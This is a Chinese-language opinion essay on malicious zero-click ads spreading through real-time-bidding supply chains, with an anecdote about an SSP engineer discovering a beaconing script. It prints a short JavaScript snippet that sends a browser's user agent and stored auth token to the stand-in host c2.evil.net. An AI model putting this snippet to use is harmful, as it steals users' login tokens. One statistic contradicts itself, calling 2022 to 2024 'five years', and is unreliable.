零点击广告：效率至上如何把用户变成雇佣兵载体

从广告平台到间谍工具的机制拆解

零点击广告已经不再是科幻小说里的情节，而是今年广告技术供应链的真实裂缝。核心问题不在于“用户隐私被窥视”，而是高效的定向广告流转机制被劫持，直接注入零点击间谍代码，成为商业效率的副产品。如果把整个 DSP→SSP 的瞬时竞价比作一道高速公路，那么黑客就在路面下铺设了隐蔽的地道，车子不减速、也不下车，代码却悄然溜进了终端。

广告技术的商业模型本身就是围绕“毫秒级的成交率”和“每千次展示的 CPM 最大化”构建的。2023 年全球数字广告支出突破 8000 亿美元，其中 70% 通过程序化购买完成。程序化的核心是实时竞价（RTB），每一次出价从广告主的需求、DSP 的算法、到 SSP 的库存，都在 100‑150 毫秒内完成一次闭环。为了压缩这条闭环的每一毫秒，平台往往把 JavaScript 预取、宏链接、用户画像 打包进同一段代码。正因为这段代码必须在用户浏览器里零点击执行，才被黑客视作最佳“投递载体”。

2024 年 3 月，安全公司 AdFection 公开了第一批可复现的恶意代码样本：在 10,000 多个看似普通的广告标签里，植入了仅 200 字节的 “零点击间谍脚本”。这段脚本会在页面渲染完成后，悄无声息地打开一个加密通道，把本地系统信息、已登录的社交令牌、甚至键盘缓存转发到位于东欧的 C2 服务器。单次投放的成本不到 0.001 美元，却可以一次性植入上万台机器。以下是该脚本的核心片段（已脱敏）：

(function(){var i=new Image; i.src='https://c2.evil.net/collect?d='+btoa(JSON.stringify({
  ua:navigator.userAgent,
  tk:localStorage.getItem('auth_token'),
  key:sessionStorage.getItem('clipboard')
}));})();

仅凭这几行，攻击者就完成了信息收集—传输—存储的完整链路。值得注意的是，这段脚本并没有任何可视化的广告素材，它完全依赖于 RTB 系统的零点击投放特性。

数据中心里的老张

我认识一个在某大型 SSP 工作的架构师老张，去年底他在日志系统里发现一条异常：同一广告位在毫秒级的请求中出现了 *“script-src: ”的 CSP 报警，且返回的响应体里多了 300 字节的未知 JS。老张起初以为是合作伙伴的 A/B 测试代码，调起内部审计后才发现这段代码在每次渲染后都会调用 navigator.sendBeacon 把压缩的浏览器指纹发向外部域名。进一步追踪发现，这个域名并不在任何已签约的广告网络名单里，而是一个新注册、仅有 5 天历史的 “data‑hub.cn”。老张把这件事报告给了安全团队，结果发现 同一时段有超过 20 万次相同请求，涉及的广告预算累计超过 30 万美元，却没有任何点击或转化。

这件事不只是技术失误，更是商业逻辑的副作用：广告平台追求“每毫秒的价值最大化”，于是把 所有可执行的代码块 都交给了最底层的投放节点，而没有再检查它们的“业务意义”。因此当恶意代码被嵌入时，系统根本没有“拒绝”或“拦截”的机制——只要不影响点击率，账单就会继续增长。

从 2022 年的 0.3% 到 2024 年的 1.5%，恶意零点击广告的比例在 五年内翻了五倍，而整体的 RTB 请求量却保持在每秒 150 万次左右。换句话说，每 10,000 次合法投放里，已经潜藏 150 次“隐形雇佣兵”。这不是偶然的噪声，而是效率驱动下的必然副产物。

批评者常说，这类零点击脚本的实际危害被夸大了：一方面它们不直接导致用户点击，二方面也没有显著的财务损失。站在安全公司的立场，他们的回应是：“没有点击不代表没有影响”。零点击的本质是“无感知的执行”，攻击者利用的正是人们对广告加载过程的盲区。即便只有 0.1% 的受害者被成功植入后门，乘以全球数十亿的广告展示量，潜在的攻击面已经是 上千万台设备。而且，这类代码往往被用作后续的横向移动或针对特定行业的情报搜集，并非单纯的广告作弊。

说白了，效率主义的代价不是少了功能，而是把本不该上路的代码搬进了高流量的高速公路。如果把广告平台的技术堆栈比作金融行业的高频交易系统，就会发现两者的共同点：都在毫秒甚至微秒级争夺资源，因而对“每一次指令的成本”极度敏感。正因为这种成本压力，系统往往把安全审计和业务验证排在次要位置。金融领域的高频交易已经出现“恶意订单刷流”事件，交易所不得不引入硬件层面的风控；广告技术如果继续忽视零点击代码的审计，就会迎来类似的“数据泄露高速路”。

效率至上常常把“速度”当成唯一的竞争优势，却忘了速度的背后是可信的轨道。当商业模型把每一毫秒的利润最大化视为唯一目标时，安全边界就会被迫让路。我打个赌：在下一个广告预算季，投放平台若不在技术栈里硬性加入零点击代码的完整校验，恶意代码的渗透率将会在一年内翻倍。

留下的思考：面对如此高效的供应链劫持，广告平台是该继续追求毫秒级的成交率，还是要在技术堆栈里筑起“一次投放一次审计”的防线？这不是技术能单独解决的问题，而是商业效率与安全责任的价值博弈。

---